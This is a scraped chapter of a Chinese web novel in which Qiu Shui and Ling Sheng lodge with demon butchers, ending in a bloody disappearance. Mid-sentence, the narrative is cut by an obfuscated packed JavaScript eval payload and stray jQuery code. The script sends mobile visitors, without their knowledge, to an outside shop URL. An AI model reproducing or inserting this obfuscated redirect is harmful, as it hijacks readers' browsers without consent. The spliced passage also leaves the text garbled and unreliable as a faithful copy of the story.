文趣网 > 其他小说 > 三人行必有妖 > 9. 第 9 章
    夜已经很深了。

    邱水肚子叽里咕噜叫个不停。凌生不解地看向五脏庙闹开锅的邱水,“你很饿?”

    “是啊,我很饿。道门斩妖使。我是人,和你不一样的肉身凡胎。我需要吃饭喝水,晚上找个地方睡觉。”他叹口气,用可怜兮兮的眼神看着还在琢磨的凌生,“简单说,我修为不够,还没到您餐风饮露的地步。”

    凌生垂眸光想了想,道,“其实我,也吃饭。”

    “得了吧您嘞。我可看过您的伙食,每顿大白菜呗。清汤寡水的,我吃三天保正眼珠子不转。”

    凌生好奇地看着邱水,“吃饭,难道不是为了饱腹?”

    邱水指指自己的嘴,“是为了口腹之欲啊。美美的吃上一顿可以分泌内啡肽,然后就会——”他一挑眉毛,拉长了音,“快乐。”

    “满足口腹之欲,就会快乐?”少年一双眼亮晶晶地看着邱水。邱水重重点头,“对,快乐。”

    “内啡肽是什么?”

    “这一句半句说不明白。你就说你想不想快乐?”

    少年点头,很认真地说,“想。”

    “这就对了。吃饱喝足会快乐,睡个好觉也会快乐。”

    少年低低重复着邱水的话,平静无波的眼里有燃起的光。

    邱水揽住少年肩膀,“你快乐,我也会快乐。”

    少年涨红了脸,挣.脱开邱水的爪子,“我不是,不是——”他终究没好意思将那话说出口。邱水却大笑道,“你别紧张啊。我比你更直男。我说的,是朋友间的同喜同悲啦。”

    “朋友——”少年将这两个字咬重音。

    “对啊,我们早就是朋友了。难道不对么?”

    “对。”少年笃定地说道。他的眼看着邱水的眼睛,像是要从里面看到他所期望的真诚。邱水躲开少年诚挚的目光,站起身来活动筋骨,“我决定了,今晚决不能让咱俩露宿街头。俗话说明知山有虎偏向虎山行,咱们不如去找那屠夫家借宿。”

    少年点头。他有些震惊邱水看起来吊儿郎当没个正经,居然如此敏锐的发现了那户人家是屠户。

    邱水前头走,心里揣着一堆乱七八糟的想法——那孩子知道古大侠,一定有个人给他讲过那本书里的故事,至少也教过他那首歌。如果我找到那个穿越者,也许可以得到一些有用的东西,至少可以知道更多的信息。

    现在只有锦囊,不够,远远不够。

    “到了。”凌生出声提醒他。邱水驻足,见那屠户家大门紧闭,屋里亮着灯,于是抬手敲门。屋子里响起人声,“来了。”

    随着脚步声响起,开门的是那个胖女人。胖女人一眼看到邱水和凌生立刻拉下脸来,可这副死人脸只维持了三秒钟。因为三秒钟后,一锭银子已经闪花了她的眼。

    胖女人由怒转笑,伸手去接银子。邱水将银子收回来,“这位娘子,我们兄弟二人赶路错过了客栈,想要借宿。”

    “没问题没问题。狗蛋他爹,快准备铺盖。咱家来贵客了。”胖女人小心翼翼的双手接住银锭子,一张胖脸已经笑成了花,她闪开肥胖的身躯让邱水和凌生进屋。

    邱水和凌生互望一眼,邱水先迈步进屋,凌生紧随其后。屋子不大,布置简陋甚至还有些脏。屋子里充斥着难闻的猪肉猪油味道。邱水一眼就看到坐在屋子一角正摆.弄着什么的小男孩。

    他笑眯眯走过去,蹲下了身子凑近小男孩,“狗蛋你好,你可以叫我邱水哥哥。”说罢伸出手来做一个握手姿势。果然小男孩一点不吃惊的伸出手,和邱水握了握手,“邱水哥哥,你好。”

    邱水一颗心七上八下。他站起身来,环视四周,“今晚我们睡哪?”

    胖女人讨好的笑着,“后院还有一间厢房,孩子他爹已经去准备了。二位贵客随我来。”言罢带领着邱水和凌生穿过充满怪味的房间,又穿过一条漆黑的走廊。从后门进到了另一间更小的房间。

    房间里已经燃起了油灯,一灯如豆。屠夫正整理仅有的一张床。将一床脏兮兮的被子铺上去。被子抖起的时候扬起了灰尘和霉味——呛得邱水直咳。

    “借宿一晚没啥,不过你俩要小心火烛。”屠夫瓮声瓮气的说话,末了想起什么似的补充道,“对了,子夜后千万不要出门。无论外面发出什么声音,都不要出门。记住。我可不想——”他的后话被胖女人一胳膊肘杵回去。夫妇二人讪笑着,“二位早点歇着吧。我俩回去了。晚上也别叫我们,我们也不出门。”

    说完俩人像被一百只狼撵着似的急慌慌逃出去,并关好了门。

    邱水不停咳嗽,站在屋子中间挥手想要把这呛鼻子的味道赶走。一身华服的凌生却已坐下来,就坐在屋子里唯一的一张椅子上。

    这间房间只有一桌一椅,一床一被。

    “喂,很脏啊。”邱水皱眉。凌生嗯了声算是回答。邱水嫌弃的两根手指拎起被子一角,“这被子恐怕比我的岁数都大。你猜多少年没洗过?里面会不会长满了霉菌啊。我晚上一呼吸就被毒死了。”

    凌生闭着眼,似乎要打坐,“霉菌是什么?”

    “就是一种细菌。将来有时间我好好教教你哈,我的道门斩妖使。”

    凌生不再说话。

    邱水龇牙咧嘴的心理建设了好一会,才坐到床上,“只有一床被子,咱俩要不——挤挤?”

    “不用。你睡吧。”凌生淡淡回答。

    邱水松了口气,又心理建设了好一会,最终还是没法说服自己。于是把那被子卷起来推一边去,自己和衣躺下。天色已经不早了,一直在赶路,他的确又累又困。

    该找个什么时机和那小男孩套话呢?邱水这么想着,浓厚的困意袭来,他眼皮子越来越沉,很快就睡着了。

    一直端坐在椅子上闭目养神的凌生听到床上响起轻微的鼾声,方睁开眼。夜浓重,他的眼睛却灿若寒星。

    他站起身来,无声的走到紧闭的门旁,回首看了看床上酣睡的邱水。似乎有些不放心,于是挥手做了个结界,罩住了一无所知的——朋友。

    朋友。想到这两个字,不苟言

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17974510|214714||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    笑的冰山居然勾了勾唇角,绽开一个浅淡笑意。但那笑意极快就消失。什么都是欲望,有欲望,就有弱点。

    他推开屋门,闪身出了房间。

    夜色深深,一轮红色圆月高挂漆黑天穹。凌生闭目感受,再度睁眼,便脚尖点地飞掠出了院墙。

    他轻得就像一片落叶,没有半点声音。双脚甫一落地,凌生便蹙眉。果然就见他的脚下显现出一圈圈的咒枷,即便他很小心,依旧掉进了陷阱。

    咒枷金光流转,可见加持的法力之强。两条蓝色咒线灵蛇一般悄无声息的缠.绕上凌生双脚脚踝。凌生冷笑,任由那咒线缠.绕锁紧。他不退反进,迈步朝咒枷外走去。随着他走的每一步,那咒枷寸寸开裂,化作飞灰。

    而脚踝上的咒线也随着他的动作而震碎一地,流光溢彩。

    “不愧是道门斩妖使。妙,妙极了。”有人在鼓掌,掌声来自于凌生面前那株三人合抱粗细的大树。树冠遮天蔽日,一个人自上跃下,肥厚的身子却无比轻盈。

    “赤猪,好久不见。”凌生淡然说道。

    那山一般的汉子正是屠夫,而紧随他从树上落下的是他的胖媳妇。两人秤不离砣的依偎在一起,开口居然同声同气,“道门斩妖使此次是来屠村的么?”

    凌生蹙眉,“我为何屠村?”

    “斩妖使真的不是冲着我们来的?”夫妇二人疑惑的又问。

    凌生摇头。两人便长舒口气,“道门斩妖使一向言出必行绝不说谎。你说不是,我们就信。”

    “为何要说那样的话?”凌生开口。

    “道门斩妖使是怪我们吓唬那小小人类了?”夫妇二人语气谨慎里带着尊重。

    凌生又摇头,“我见此处开启了四象阵,想来必有大妖为祸乡里。你夫妇二人——”

    “斩妖使,当年既然败在您手下,答应了您再不做恶,我们夫妇便守承诺。当然不是我们,只是说来话长。”

    “那就长话短说。”

    “二年前我们这里来了个奇怪的男人,自从他到了北商村,村子里就发生了天翻地覆的改变——”屠夫二人正说到此处,就听房内接连发出两声惨叫,那是小孩子的叫声和邱水的声音。

    夫妇二人一听慌了,二人同时飞起,朝着屋子的方向。凌生心狂跳,觉得自己比夫妇二人更慌乱。他后飞先至,一脚踹开了屋门。

    血.腥.气,浓重的血.腥.气。

    凌生的心已经跳出嗓子眼,他觉得脚底下发粘,似乎踩到了什么。极慢极慢地低头垂眸去看,就见一条鲜红的血色小河,汩汩的从屋内流出来。

    凌生雪白的小羊皮靴子被血沾染,他居然慌了。急急的撤开脚,他好像生怕那些血是自己想的那个人的。

    “邱水。”凌生绕开那条血色小河,穿过前屋,穿过那条漆黑的走廊。一眼就看到后面的房门大开着,而自己的结界——破了。

    地上躺着那小男孩。而床上刚刚酣睡的邱水不见了,上面留着一滩血。这摊血流动着,滚烫的烫着凌生的眼。